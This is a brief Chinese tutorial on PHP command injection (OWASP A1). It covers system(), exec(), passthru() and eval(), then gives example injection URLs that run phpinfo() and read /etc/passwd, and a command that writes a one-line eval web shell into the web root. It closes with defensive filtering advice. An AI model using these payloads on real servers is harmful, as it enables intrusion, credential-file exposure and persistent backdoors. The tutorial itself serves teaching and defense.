owasp top A1 注入 Injection (1)PHP注入.1
命令注入漏洞,和SQL注入一样通过改变语句结构执行恶意命令。
1.PHP常见命令执行函数
1.1system()
执行外部程序,并且显示输出,常规用法:
<?php
$whoami = system('whoami', $retval); //system函数执行whoami查询,返回给$retval参数
echo $retval; //外部命令执行后的返回状态,输出$retval
?>
1.2exec()
原型:string exec (string command [, string array [, int return_var]])
exec ()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。
1.3passthru()
与system都一样
1.4eval()
eval函数将输入的字符串参数当作PHP程序代码来执行
函数原型:
mixed eval(string code_str) //eval注入一般发生在攻击者能控制输入的字符串的时候
当我们提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了;
2.PHP命令注入漏洞
http://www.sectop.com/ex1.php?dir=| cat /etc/passwd
在.php文件后面拼接查询操作,系统执行了就会返回文件内容
一句话木马:
www.baidu.com & echo '<?php eval($_POST[pass]);>' > web目录/sh2ll.php
3.PHP命令注入防御
1、采用白名单,或使用正则表达式进行过滤。
2、不要让用户可以直接控制eval()、system、exec、shell_exec等函数的参数。
3、在进入执行命令函数和方法前,对变量进行过滤,对敏感字符进行转义。